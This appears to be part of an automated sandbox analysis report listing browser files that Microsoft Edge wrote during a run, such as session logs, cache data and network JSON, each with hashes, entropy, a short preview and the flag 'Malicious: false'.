MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:+acFQR0E3lKn:+acFws
MD5:	0ACBAF2C2F86AF84925A78782B66D1DF
SHA1:	BFFE7271166D1EA5D546BC1329ECDB8F56690420
SHA-256:	29C9127E79B0939B288634D2E4AA94F7668843C54946DBD122DCF500D310F94B
SHA-512:	4C854A02E513EB0A02FDE7C790519A81DB44DE0126CF0316F7141DBAB06781925D336B1340AB436686E8A31DD00224B9F663D4E3421728E0DD1F0891B96AD614
Malicious:	false
Preview:	(.....D.oy retne........................g...../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:+acFQR0E3lKn:+acFws
MD5:	0ACBAF2C2F86AF84925A78782B66D1DF
SHA1:	BFFE7271166D1EA5D546BC1329ECDB8F56690420
SHA-256:	29C9127E79B0939B288634D2E4AA94F7668843C54946DBD122DCF500D310F94B
SHA-512:	4C854A02E513EB0A02FDE7C790519A81DB44DE0126CF0316F7141DBAB06781925D336B1340AB436686E8A31DD00224B9F663D4E3421728E0DD1F0891B96AD614
Malicious:	false
Preview:	(.....D.oy retne........................g...../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF46fcd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:+acFQR0E3lKn:+acFws
MD5:	0ACBAF2C2F86AF84925A78782B66D1DF
SHA1:	BFFE7271166D1EA5D546BC1329ECDB8F56690420
SHA-256:	29C9127E79B0939B288634D2E4AA94F7668843C54946DBD122DCF500D310F94B
SHA-512:	4C854A02E513EB0A02FDE7C790519A81DB44DE0126CF0316F7141DBAB06781925D336B1340AB436686E8A31DD00224B9F663D4E3421728E0DD1F0891B96AD614
Malicious:	false
Preview:	(.....D.oy retne........................g...../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5639
Entropy (8bit):	3.410945830161187
Encrypted:	false
SSDEEP:	96:drqOurY6mM+T6n7imxZHh9X3+QX+gpXlokhg5SLl9iSrj1x8/:d2BszL6n7iUh9X3+QXXpXlDG5SLl9iSA
MD5:	4B142E4994BDCE48EBF88101D51E0C5D
SHA1:	8773F6E29936B74EF1504D7E4B32F238E3035677
SHA-256:	00D37FBB35FACBF886754CB5886CF091C00E02F925EBFFE6D79B1FA0341FD408
SHA-512:	5EE6E2331690FF7C14C2527A1A7C95E0869CD382EBEE58874D31B051ADEA278A5266C7BB5633D36E898CF89F33AA3B2C8F949906725EDE6A7993597A8E0E293C
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................C.b................next-map-id.1.Cnamespace-908d2867_47dc_4425_818d_cc9530ee5819-https://ntp.msn.com/.0...k.................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.1.s.-.d.w.v.i.d.-.c.t.r.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.4.c.,.p.r.g.-.1.s.w.-.s.a.-.l.v.f.v.1.7.w.t.8.,.p.r.g.-.1.s.w.-.m.s.n.h.o.m.e.,.p.r.g.-.1.s.w.-.b.g.a.b.r.t.p.g.-.r.,.p.r.g.-.1.s.w.-.r.e.v._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.r.e.v._.b.g._.a.b.r.t.p.g.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.t.p.s.n.-.p.r.g.l.d.n.g.-.t.,.p.r.g.-.1.s.w.-.t.p.s.n.p.g.1.,.t.p.s.n.-.p.r.g.l.d.n.g.,.p.r.g.-.1.s.w.-.m.e.b.c.8.2.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.111715403623366
Encrypted:	false
SSDEEP:	6:HgxVXUtYQyq2PN723oH+TcwtrQMxIFUt8YgxVXVKnG1Zmw+YgxVXQuTQRkwON72n:AmYQyvVaYebCFUt8JpKng/+JpQR5OaYM
MD5:	37F5AF60A344D82E288CFE01CEB3A366
SHA1:	F443669A38461E4BFB9B9844823D2BE6630AB037
SHA-256:	A50939F544090C8C9516E05145059CA4EECDE3D2EFEE7DA932ECF0CCE75361BC
SHA-512:	A82F483ABF4BA5905604B7C2E2711462910BBC95B1C89C1C665E0191D7232A5F6443AD96258F1FA48DFBB8B77B2FB3556F97B68096FCD3755260EE60FAC86C94
Malicious:	false
Preview:	2024/11/22-08:43:43.021 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-08:43:43.022 1690 Recovering log #3.2024/11/22-08:43:43.025 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.111715403623366
Encrypted:	false
SSDEEP:	6:HgxVXUtYQyq2PN723oH+TcwtrQMxIFUt8YgxVXVKnG1Zmw+YgxVXQuTQRkwON72n:AmYQyvVaYebCFUt8JpKng/+JpQR5OaYM
MD5:	37F5AF60A344D82E288CFE01CEB3A366
SHA1:	F443669A38461E4BFB9B9844823D2BE6630AB037
SHA-256:	A50939F544090C8C9516E05145059CA4EECDE3D2EFEE7DA932ECF0CCE75361BC
SHA-512:	A82F483ABF4BA5905604B7C2E2711462910BBC95B1C89C1C665E0191D7232A5F6443AD96258F1FA48DFBB8B77B2FB3556F97B68096FCD3755260EE60FAC86C94
Malicious:	false
Preview:	2024/11/22-08:43:43.021 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/22-08:43:43.022 1690 Recovering log #3.2024/11/22-08:43:43.025 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376756624663017

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8023370695727183
Encrypted:	false
SSDEEP:	24:3kVgWqDNpKGipxflfWeZPE+7MpsAF4unxWtLp3X2amEtG1ChqY3c0KQKkOAM4:3kVgWqDZOdle4PE+gzFoLp2FEkChLHLq
MD5:	86C51ABAFB3D6549BA5C1B718C6C29D8
SHA1:	2BDC55771B4113FB25CAFD7B2F07FE80C9B6BA7F
SHA-256:	A6B1B8DA2CFEB060FD41189BDC1534E5C44B213CEFC25121D0B999C9AD8BC549
SHA-512:	F352C45FC78BD56E9C656AAC7540819A69C050E062C69D471263FAF70441580D14DA18F6C8ACA655F71A0B98998C42BE56155A44DC6743B0DA9FB4BE206EBB0A
Malicious:	false
Preview:	SNSS.......:V.B...........:V.B......":V.B...........:V.B.......:V.B.......;V.B.......;V.B....!..;V.B...............................:V.B;V.B1..,...;V.B$...908d2867_47dc_4425_818d_cc9530ee5819...:V.B.......;V.B.....w.........:V.B...:V.B.......................:V.B....................5..0...:V.B&...{46F3A197-DB49-410A-81B3-94975C835573}.....:V.B.......:V.B..........................;V.B...........;V.B........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......a:j..'..b:j..'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.104300412689597
Encrypted:	false
SSDEEP:	6:HgE+5Oq2PN723oH+Tcwt7Uh2ghZIFUt8YgEcUbZZmw+YgEcUbzkwON723oH+TcwK:AE+5OvVaYebIhHh2FUt8JEVZ/+JEVz5g
MD5:	98166D949F00417DA1D36CD9E9EFF677
SHA1:	7F392C6E67D5ED755835872E80D21BAACA910D8A
SHA-256:	3AEF89C83ECEAEAAF5CDD5B524671E47DBC9202B5E8D9A94732CA97416C85872
SHA-512:	EF3E3EFF9C02576C17EE60F9864D544E7CAF0A7B567C8D48AB8AC1640D1F3338AA69F86F4CF952F7B80EB5DA477F5C4FEE837008EAF417F7BA2DAAD8CBBB6F12
Malicious:	false
Preview:	2024/11/22-08:43:42.165 1e30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-08:43:42.166 1e30 Recovering log #3.2024/11/22-08:43:42.166 1e30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.104300412689597
Encrypted:	false
SSDEEP:	6:HgE+5Oq2PN723oH+Tcwt7Uh2ghZIFUt8YgEcUbZZmw+YgEcUbzkwON723oH+TcwK:AE+5OvVaYebIhHh2FUt8JEVZ/+JEVz5g
MD5:	98166D949F00417DA1D36CD9E9EFF677
SHA1:	7F392C6E67D5ED755835872E80D21BAACA910D8A
SHA-256:	3AEF89C83ECEAEAAF5CDD5B524671E47DBC9202B5E8D9A94732CA97416C85872
SHA-512:	EF3E3EFF9C02576C17EE60F9864D544E7CAF0A7B567C8D48AB8AC1640D1F3338AA69F86F4CF952F7B80EB5DA477F5C4FEE837008EAF417F7BA2DAAD8CBBB6F12
Malicious:	false
Preview:	2024/11/22-08:43:42.165 1e30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/22-08:43:42.166 1e30 Recovering log #3.2024/11/22-08:43:42.166 1e30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.245961433799075
Encrypted:	false
SSDEEP:	12:AnSQyvVaYebvqBQFUt8J1g/+JPQR5OaYebvqBvJ:AMVaYebvZg8JF6OaYebvk
MD5:	C523C5139BC9985A55022EBAB492822D
SHA1:	868DDCC1BB76CC589C6C3E99AF4AB849F32FD92D
SHA-256:	983CB8B868843B838EE1EF8073CF477847385352BD1C022A95A80FEA9CECF84B
SHA-512:	551A5D1A61BD00BD54EAD4226D3E76DECF43FED1673803B57AFE5145E5BDDBAE124812BF01D0729B4FD84422EB0EEB353659375F8C2DB057CE5602D26CFE8AFF
Malicious:	false
Preview:	2024/11/22-08:43:43.053 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-08:43:43.054 1690 Recovering log #3.2024/11/22-08:43:43.056 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.245961433799075
Encrypted:	false
SSDEEP:	12:AnSQyvVaYebvqBQFUt8J1g/+JPQR5OaYebvqBvJ:AMVaYebvZg8JF6OaYebvk
MD5:	C523C5139BC9985A55022EBAB492822D
SHA1:	868DDCC1BB76CC589C6C3E99AF4AB849F32FD92D
SHA-256:	983CB8B868843B838EE1EF8073CF477847385352BD1C022A95A80FEA9CECF84B
SHA-512:	551A5D1A61BD00BD54EAD4226D3E76DECF43FED1673803B57AFE5145E5BDDBAE124812BF01D0729B4FD84422EB0EEB353659375F8C2DB057CE5602D26CFE8AFF
Malicious:	false
Preview:	2024/11/22-08:43:43.053 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/22-08:43:43.054 1690 Recovering log #3.2024/11/22-08:43:43.056 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2b7d8c4e-ab7b-4797-899a-4054fb5dacfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\4e307321-9b2d-42cd-a714-8789da4b48e5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7e18c17c-f0d6-44d5-acec-9230fff75b3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ee68.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ed11e8f6-e817-41e7-a5fc-a2d5bb81e9cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.219124013700088
Encrypted:	false
SSDEEP:	12:APZQyvVaYebvqBZFUt8JPuAg/+JPuMQR5OaYebvqBaJ:APDVaYebvyg8JPuWPuZOaYebvL
MD5:	E0DBE07EFA5BEECCFAB759F61AACF764
SHA1:	86879E1AB4C392C1E98DC97BCDE0A051BA5B3D91
SHA-256:	A8209DDB5D0557491363F90CCD945AF48A4275299416FF9A6CE9DA29D4DA2142
SHA-512:	D75B36E173E2DE171764A8D518AA00A8E3611D371345D2060FCB6D5562E1B7A0BE9102F552AAF7847C6479422857A7A8441EA29456C24FD2D2190C49C61AE8D6
Malicious:	false
Preview:	2024/11/22-08:44:00.849 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/22-08:44:00.850 1690 Recovering log #3.2024/11/22-08:44:00.854 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.219124013700088
Encrypted:	false
